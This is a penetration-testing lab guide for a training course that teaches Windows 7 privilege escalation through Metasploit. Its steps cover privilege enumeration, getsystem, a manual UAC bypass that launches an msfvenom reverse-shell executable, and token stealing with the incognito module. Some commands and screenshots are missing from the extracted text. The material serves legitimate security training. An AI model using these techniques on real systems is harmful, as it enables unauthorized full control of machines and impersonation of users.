© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation
© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation
To guide you during the lab, you will find different Tasks.
Tasks are meant for educational purposes and to show you the usage of different tools plus
different methods to achieve the same goal. They are not meant to be used as a
methodology.
Armed with the skills acquired though the tasks, you can achieve the Lab goal.
If this is the first time you are doing this lab, we advise you to follow these Tasks.
Once you have completed all the Tasks, you can proceed to the end of this document and
check the solutions.
• Metasploit
The machine we want to test runs Windows 7. We have already exploited the machine and
we have already installed a backdoor. You can connect to the backdoor with the following
Metasploit settings:
Now that we have a session on the machine, we have to verify which privileges we have.
Get as much information about the machine and the session obtained as you can.
In the previous task, you should have been able to bypass UAC and get SYSTEM privileges on
the machine. Try to manually bypass the UAC protection by using the exploit located in:
/usr/share/metasploit-framework/data/post/bypassuac-x64.exe
Instead of dumping and cracking Windows password hashes, use the incognito module
to get credentials and tokens that may be useful to change your session privileges.
meterpreter >
First, let us obtain the Operating System of the remote machine. To do this, let us run the
module sysinfo:
Now we know the machine is running Windows 7 (64 bit). Note that if we want to get more
information from the machine, we can run different modules such as winenum.
root@kali:~/.msf4/logs/scripts/winenum/ELS-WIN7_20160516.4331# ls net_*
root@kali:~/.msf4/logs/scripts/winenum/ELS-WIN7_20160516.4331# cat
net_localgroup_administrators.txt
Alias name administrators
Comment Administrators have complete and unrestricted access to the
computer/domain
Members
-------------------------------------------------------------------------------
Administrator
eLS
The command completed successfully.
Very useful information can also be obtained by running the module win_privs which
shows all the privileges that we have plus some other information about the system.
Current User
============
Windows Privileges
==================
Name
----
SeChangeNotifyPrivilege
SeShutdownPrivilege
SeUndockPrivilege
Now that it has been configured, let us run the module with exploit and see what
happens:
meterpreter >
As we can the exploit successfully bypassed the UAC restrictions. If we run win_privs post
module again (in the new meterpreter session), we can see the output is different; we have
more privileges and the column Is Admin is set to true.
Current User
============
Windows Privileges
==================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreatePagefilePrivilege
SeDebugPrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeUndockPrivilege
Now that we have these new privileges, let us try to run getsystem again. As we can see,
this time it works and we get SYSTEM privileges.
The first step is to create the payload (an .exe file in this case) that we will run by using
the bypassuac exploit. To do this we can use msfvenom as follows:
The above command creates an .exe file that when executed, tries a connection back to
our machine at TCP port 4700.
Now we have to upload this file and the bypassuac exploit on the remote machine. In Kali
Linux, the bypassuac file is stored in the following folder:
/usr/share/metasploit-framework/data/post/
We know that the machine is running Windows 7 64bit so we have to use the bypassuac-
x64.exe file.
So let us go back into the first Meterpreter session (the one with less privileges) and upload
these two files on the remote machine.
As we can see from the screenshot above, we uploaded the bypassuac exploit,
bypassuac-x64.exe, and the reverse TCP shell, rTCP.exe, in the Desktop folder of the
target machine.
Before trying to bypass the UAC, let us run bypassuac-x64.exe in order to understand
how to use it. If we run it (next screenshot), we can see that we can use different options.
For example, we can run commands allowed by cmd.exe, as well as specific executable
files.
The command (or the file) that is provided will be executed with elevated privileges.
The handler must be configured with the same options set earlier (when we created the
rTCP.exe file).
Now that the handler is running, we can go back into our Meterpreter session, open a new
shell on the remote system and run the bypassuac exploit against our rTCP.exe payload.
C:\Users\eLS\Desktop>bypassuac-x64.exe /c C:\Users\eLS\Desktop\rTCP.exe
bypassuac-x64.exe /c C:\Users\eLS\Desktop\rTCP.exe
As soon as we run the command, the handler receives the communication and few seconds
later, a new Meterpreter session is created.
We can first, exit our current shell session by typing the “CTRL-Z” key combination,
backgrounding meterpreter, and then interacting with our new meterpreter session:
^Z
Another very useful module is incognito. It allows us to impersonate user tokens. This
may be very useful during our privilege escalation phases because we will not need to
retrieve passwords; we can just impersonate users by stealing their tokens.
Incognito Commands
==================
Command Description
------- -----------
add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token
Let us now try to get a list of available tokens and then impersonate a different user. As we
can see in the following screenshot, this can be done by using the commands: